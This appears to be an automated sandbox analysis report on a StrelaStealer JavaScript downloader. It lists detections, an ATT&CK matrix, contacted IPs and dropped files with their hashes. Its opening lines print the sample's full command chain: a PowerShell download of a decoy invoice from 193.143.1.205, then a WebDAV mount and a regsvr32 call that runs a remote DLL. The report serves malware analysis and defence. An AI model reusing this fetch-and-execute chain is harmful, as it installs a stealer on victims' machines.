Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
217216328232499881.js	10%	Virustotal		Browse
217216328232499881.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/S	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2203205854.000002927FE40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3440209445.000002928008C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200241947.000001FCDE328000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200241947.000001FCDE37D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/B	net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/S	net.exe, 00000007.00000002.2200241947.000001FCDE328000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588387
Start date and time:	2025-01-11 01:44:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	217216328232499881.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.12.23.50, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:45:38	API Interceptor	22x Sleep call for process: powershell.exe modified
19:45:42	API Interceptor	1x Sleep call for process: net.exe modified
19:45:42	API Interceptor	2x Sleep call for process: svchost.exe modified
19:45:50	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263105753846582
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0O:9JZj5MiKNnNhoxub
MD5:	1D0324619A785BD6CDD99053B6DBE421
SHA1:	52BC491B17D713AE562C621C6E192C23CDE98880
SHA-256:	99C14FB413AB15A5559FC9E13A7A09EC0B271C735A87257479BB40754CF21EA2
SHA-512:	BA72708E3F2C551529BDB6CB1628CC7CF81392324F4B8EF41182E560E4013D0F3DAB3444302CBDD2A21BA96B1D666F2322273C7F31415D64FEC805DA5B06D824
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x42b58143, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7554592161631665
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	B4331C3DCA1BF3302B5E73AE0E7AE07D
SHA1:	F2C457B20DF5A5E8F241AF65FB67B90B353F4E67
SHA-256:	8D3F2A9332633A5C066C0C58B999F04DD45617DDA92C8C1CAC6F6B3785E07006
SHA-512:	3F4B3C24D38CCCF69498CA8E4D8CD8B55C6DE3F8FC201EBE0CFF1C5250F1F4733371480A2C4674C252EA0D58BF5D9EC58C7C27E94FBC8363BCFCF636F2525195
Malicious:	false
Preview:	B..C... .......7.......X\...;...{......................0.e......!...{?.+-...}I.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................m.-.+-...}C..................[..+-...}I..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07677530188981257
Encrypted:	false
SSDEEP:	3:qf/llEYe5DkHNaAPaU1lWRzlluxmO+l/SNxOf:q38z5DkHNDPaUsJgmOH
MD5:	A4CDAE652B009F146C5669CF847743D7
SHA1:	D5C2C6AB49CDE78112E8A094E1F5123B4BB719D2
SHA-256:	9DB7056531E0ADBA8EB2DB1BE9376D8BC216A15EF49BD8EE8A3B1E11F5A659FE
SHA-512:	1EC64EAD0F6ED5D1FC9C81E49D0A4AD23CEBC3F48D32EF1B189A917148322E365244DE4FE448044A5BC868DCD698998F0D2D0F544D9D2F726F303AB4A4CC9782
Malicious:	false
Preview:	\|........................................;...{..+-...}I..!...{?..........!...{?..!...{?..g...!...{?..................[..+-...}I.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.209753673550694
Encrypted:	false
SSDEEP:	6:iO4FJBn+q2PN72nKuAl9OmbnIFUtSFJm1ZZmwsFJm1NVkwON72nKuAl9OmbjLJ:7iMvVaHAahFUtcu/uC5OaHAaSJ
MD5:	2E8F3DE67DD73E08E2B65195BAB38CE7
SHA1:	9BC0EE32A6C5428F0D53D113F4979FF0595AAD5C
SHA-256:	7E3DAA5CD9005BD49FA392EEA55A7BEFBD9F91B227AF9DE6365B10F0EB84ADA6
SHA-512:	978B2D7E94866F683CCD6B1414D98758FF64A5D9AAB64BE9816BCB15272472CCE6DC5749B616173830A839DAB136811124F9B96DFA952E00D46F05EB2F230357
Malicious:	false
Preview:	2025/01/10-19:45:42.956 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:45:42.959 808 Recovering log #3.2025/01/10-19:45:42.959 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.209753673550694
Encrypted:	false
SSDEEP:	6:iO4FJBn+q2PN72nKuAl9OmbnIFUtSFJm1ZZmwsFJm1NVkwON72nKuAl9OmbjLJ:7iMvVaHAahFUtcu/uC5OaHAaSJ
MD5:	2E8F3DE67DD73E08E2B65195BAB38CE7
SHA1:	9BC0EE32A6C5428F0D53D113F4979FF0595AAD5C
SHA-256:	7E3DAA5CD9005BD49FA392EEA55A7BEFBD9F91B227AF9DE6365B10F0EB84ADA6
SHA-512:	978B2D7E94866F683CCD6B1414D98758FF64A5D9AAB64BE9816BCB15272472CCE6DC5749B616173830A839DAB136811124F9B96DFA952E00D46F05EB2F230357
Malicious:	false
Preview:	2025/01/10-19:45:42.956 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:45:42.959 808 Recovering log #3.2025/01/10-19:45:42.959 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.148123379798975
Encrypted:	false
SSDEEP:	6:iO4FvN+q2PN72nKuAl9Ombzo2jMGIFUtSFuHZmwsFXVkwON72nKuAl9Ombzo2jM4:7JvVaHAa8uFUtF/+5OaHAa8RJ
MD5:	32FAC6105495B868479D30A7F54E3B5C
SHA1:	542865778ABE3FD216DB02625A1163412CB2EFC3
SHA-256:	25189F1D409301888088BEBDBE16AACEED48371CFEDDC8C05DBA5576ABB670D8
SHA-512:	041D99D3682EAE5ACD122EC66D8A21C272DF0760D197BE545010356E9403761347E9776202FEB5EA24FCAA0F94946281C12E4A03133DD54186958BA2DEB2FDCA
Malicious:	false
Preview:	2025/01/10-19:45:43.098 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:45:43.099 1a08 Recovering log #3.2025/01/10-19:45:43.100 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.148123379798975
Encrypted:	false
SSDEEP:	6:iO4FvN+q2PN72nKuAl9Ombzo2jMGIFUtSFuHZmwsFXVkwON72nKuAl9Ombzo2jM4:7JvVaHAa8uFUtF/+5OaHAa8RJ
MD5:	32FAC6105495B868479D30A7F54E3B5C
SHA1:	542865778ABE3FD216DB02625A1163412CB2EFC3
SHA-256:	25189F1D409301888088BEBDBE16AACEED48371CFEDDC8C05DBA5576ABB670D8
SHA-512:	041D99D3682EAE5ACD122EC66D8A21C272DF0760D197BE545010356E9403761347E9776202FEB5EA24FCAA0F94946281C12E4A03133DD54186958BA2DEB2FDCA
Malicious:	false
Preview:	2025/01/10-19:45:43.098 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:45:43.099 1a08 Recovering log #3.2025/01/10-19:45:43.100 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\030143ab-f06c-4701-9ec5-df7d06397c7b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96298308847535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPZ8sBdOg2Hfcaq3QYiubcP7E4T3y:Y2sRdsCZBdMHu3QYhbA7nby
MD5:	85AEFDEB21ACABBC922D21AE42DD8451
SHA1:	6C96F29F218BE8EC08104DEB851D48049BD54796
SHA-256:	2F51048A3E4219A7EE08CE64E38927A1B4CBDF0F1E9ACED2AFF0EB201B3C9310
SHA-512:	84E70471107F240D4149E50013952914F5514BB4D498DD747D61883D2EAE077A19072CB201974F7E93E66B087E9CFA69B2FC48E276510737D43157A30A14EAAF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116354523051","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119701},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96298308847535
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPZ8sBdOg2Hfcaq3QYiubcP7E4T3y:Y2sRdsCZBdMHu3QYhbA7nby
MD5:	85AEFDEB21ACABBC922D21AE42DD8451
SHA1:	6C96F29F218BE8EC08104DEB851D48049BD54796
SHA-256:	2F51048A3E4219A7EE08CE64E38927A1B4CBDF0F1E9ACED2AFF0EB201B3C9310
SHA-512:	84E70471107F240D4149E50013952914F5514BB4D498DD747D61883D2EAE077A19072CB201974F7E93E66B087E9CFA69B2FC48E276510737D43157A30A14EAAF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116354523051","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119701},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252650559829329
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7k/DA:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhz
MD5:	C16CD56D7EFB5807FD1EDAB57B2B5FCF
SHA1:	CDC2B48737EF78C3F4A039D559E739C9F305063E
SHA-256:	5C7FEC7775177EC043FF45B8256F4F402C6264856F59042F2FA39DFCFDDE985B
SHA-512:	1C1B61D97D162E33B56AC75780C15EF4A6931C2C397F79A50B4CE5389F3D7D92C2E8A5E2CFFA90F6CFC1BCF088331FEAA520FE6F0F689EA256B1A4A3EC1A1358
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.151344560149631
Encrypted:	false
SSDEEP:	6:iO4F59+q2PN72nKuAl9OmbzNMxIFUtSFMbZmwsFPEXtVkwON72nKuAl9OmbzNMFd:7A4vVaHAa8jFUtpb/FD5OaHAa84J
MD5:	24A03C319C2515C9FBBC15A3D4E8349A
SHA1:	F9FAE8E4717605353EF2B82FC95342F0AAA42825
SHA-256:	2DEECC0A5946EDBEC455881B4827045AB75B57EB2F07E6DB2B5A3473689F2CF7
SHA-512:	68AAFC7122E8343BF1965780E51F5B6930A47E6348623341201B29A40EB163621B50F4885F2D85A2F68A8F0AD2279A67502A8F3E891B34E5D051707B82FD1C23
Malicious:	false
Preview:	2025/01/10-19:45:43.935 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:45:43.950 1a08 Recovering log #3.2025/01/10-19:45:44.005 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.151344560149631
Encrypted:	false
SSDEEP:	6:iO4F59+q2PN72nKuAl9OmbzNMxIFUtSFMbZmwsFPEXtVkwON72nKuAl9OmbzNMFd:7A4vVaHAa8jFUtpb/FD5OaHAa84J
MD5:	24A03C319C2515C9FBBC15A3D4E8349A
SHA1:	F9FAE8E4717605353EF2B82FC95342F0AAA42825
SHA-256:	2DEECC0A5946EDBEC455881B4827045AB75B57EB2F07E6DB2B5A3473689F2CF7
SHA-512:	68AAFC7122E8343BF1965780E51F5B6930A47E6348623341201B29A40EB163621B50F4885F2D85A2F68A8F0AD2279A67502A8F3E891B34E5D051707B82FD1C23
Malicious:	false
Preview:	2025/01/10-19:45:43.935 1a08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:45:43.950 1a08 Recovering log #3.2025/01/10-19:45:44.005 1a08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444900558716301
Encrypted:	false
SSDEEP:	384:ye6ci5tZiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m6s3OazzU89UTTgUL
MD5:	FB52A87A4990B6205C4A069A0DF3676B
SHA1:	35AFF074624889EFF621EBD8A874F1EE824A31CC
SHA-256:	AAF4E80FE6FAF3CE276EF673C275D3AAEBF00BA5AA7EE19D61B1884B2C3D9E37
SHA-512:	3D888D7D30376672F55253E28B4365877A07FE09CEE89674A9D51AA24349FB475C564DEA8CD0D2C03B6E34D577C2861D8AF9E8D0EC9930D9121F83DA3434506A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7697422509245686
Encrypted:	false
SSDEEP:	48:7MEJioyVSioy8oy1C7oy16oy1QKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OD:73JuSgrXjBi9b9IVXEBodRBku
MD5:	D1E184AAA846BF61CA72336E2DE8D669
SHA1:	8B1B36479A2E1EE6640E83119E59B5ACF8BAFDC5
SHA-256:	AFB13849CB2EFFC5DD006BDB800C400E0C2EEF59AFE006C9F35B23B19A5AB9ED
SHA-512:	581B1F93B8C72AAC280AADAEB6E3FD68834FA3BE9EFCB7D0B6A4C5A569D9DAC507914BDA9B64B836338D7A08449E9CF1DA6F4444ED8A6FAD28D9350AB145528A
Malicious:	false
Preview:	.... .c......_.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
